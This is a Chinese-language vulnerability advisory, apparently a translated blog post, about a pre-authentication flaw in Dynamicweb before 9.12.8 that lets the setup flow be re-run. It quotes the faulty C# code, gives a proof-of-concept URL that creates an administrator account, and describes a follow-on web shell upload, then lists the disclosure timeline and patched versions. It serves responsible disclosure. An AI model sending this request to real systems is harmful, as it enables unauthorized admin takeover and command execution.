目录导航
概括
在 9.12.8 之前的 Dynamicweb 中发现了一个问题。攻击者无需身份验证即可添加新的管理员用户。由于在确定产品的设置阶段是否可以再次运行时存在逻辑问题,因此存在此缺陷。
影响
一旦攻击者被认证为他们添加的新管理员用户,就可以上传 Web shell 并实现命令执行。
介绍
在审核企业应用程序时,不仅要关注具体的漏洞类别,还要关注如果被利用可能会产生重大影响的逻辑缺陷。
许多企业 Web 应用程序包含一个设置流程,该流程仅应在首次运行软件时触发。这些设置流程启用敏感功能,例如配置数据库或用户。
在对这些设置流程进行分析时,应确认在设置阶段完成后是否无法触发这些流程。
在 Dynamicweb 的情况下,可以触发设置流程使用的代码路径,以向系统添加新的管理员用户。添加用户后,可以上传一个 ASPX webshell 来实现命令执行。
什么是Dynamicweb ?
根据 Dynamicweb 的营销材料:
Dynamicweb 提供基于云的电子商务套件。Dynamicweb 使客户能够通过我们的内容管理、数字营销、电子商务和产品信息管理解决方案提供更好的数字客户体验并扩大电子商务的成功。
代码分析
我们发现/Admin/Access/Setup/Default.aspx
在某些条件下无需重定向到身份验证即可到达端点。
将其映射回源代码,我们发现了以下文件和代码片段:
Dynamicweb.Admin/Dynamicweb/Admin/_Default3.cs
protected void Page_Load(object sender, EventArgs e)
{
string text = Dynamicweb.Context.Current.Request["Action"];
if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())
{
base.Response.Redirect("/Admin");
}
if (!string.IsNullOrEmpty(text))
{
Dynamicweb.Content.Management.Setup.HandleAction(text);
}
你能发现上面的逻辑缺陷吗?
这里存在逻辑缺陷:
if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())
如果您仔细阅读代码块,您会意识到只要text
变量填充了任何内容,这个条件就不会成立。text
变量是从参数派生的Action
。
&&
实际上应该||
是。
由于这是由用户控制的,因此我们能够有效地绕过阻止再次运行设置步骤的控制。
提供的Action
然后被传递给Dynamicweb.Content.Management.Setup.HandleAction(text);
.
在查看代码时,HandleAction
我们发现以下内容:
internal static void HandleAction(string action)
{
ActionResult actionResult = null;
IsSetupCompleted = false;
switch (action)
{
case "copyfiles":
if (Context.Current.Request.GetBoolean("mapToExistingFolder"))
{
string @string = Context.Current.Request.GetString("filespath");
... omitted for brevity ...
case "tryconnectdatabase":
actionResult = CanConnectToDatabase(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
if (!actionResult.Success)
{
actionResult = CanConnectToDatabaseServer(Context.Current.Request["server"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
}
break;
case "setdatabasesettings":
actionResult = SetupDatabaseSettings(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request.GetBoolean("integrated"), Context.Current.Request.GetBoolean("azure"), Context.Current.Request.GetBoolean("createazuredatabase"), Context.Current.Request["connectionString"]);
break;
case "createschema":
actionResult = SetupDatabaseSchemaAndData(Context.Current.Request.GetBoolean("createazuredatabase"));
break;
case "createadministrator":
actionResult = SetupAdministrator(Context.Current.Request["adminusername"], Context.Current.Request["adminpassword"], Context.Current.Request["adminemail"], Context.Current.Request["adminname"]);
break;
case "endsetup":
IsSetupCompleted = true;
... omitted for brevity ...
MakeResponse(actionResult);
}
通过阅读上面的代码,我们可以看到绕过认证后可以进行以下操作:
- 复制文件
- 连接到数据库
- 设置数据库配置
- 创建模式
- 创建管理员用户
最具影响力的利用向量是添加一个新的管理员用户,然后在验证后将 ASPX webshell 上传到管理员面板。上传 webshell 留给读者作为练习。
概念验证(POC)
https://target.com/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername=admin1&adminpassword=admin1&[email protected]&adminname=test
上面的 URL 将使用用户名admin1
和密码添加一个新的管理员用户admin1
。一旦通过管理员面板的身份验证,就可以上传 web shell 并实现命令执行。
供应商回应
Dynamicweb 认真处理了这些问题,我们感谢他们为修复此漏洞并与我们通信所做的努力。
我们于 2022 年 1 月 21 日向 Dynamicweb 报告了此问题。
此披露过程的时间表如下:
- 2022 年 1 月 21 日:披露预授权错误以添加管理员用户
- 2022 年 1 月 21 日:Dynamicweb CTO 的确认和修复信息
- 2022 年 1 月 24 日:向 Dynamicweb 客户推出了修复程序
- 2022 年 2 月 24 日:发布咨询和博客文章
补救建议
包含修复的热修复版本可以在下面找到:
- Dynamicweb 9.5.9
- Dynamicweb 9.6.16
- Dynamicweb 9.7.8
- Dynamicweb 9.8.11
- Dynamicweb 9.9.
- Dynamicweb 9.10.18
- Dynamicweb 9.12.8
- Dynamicweb 9.13.0+
请尽快升级到这些热修复版本之一。
转载请注明出处及链接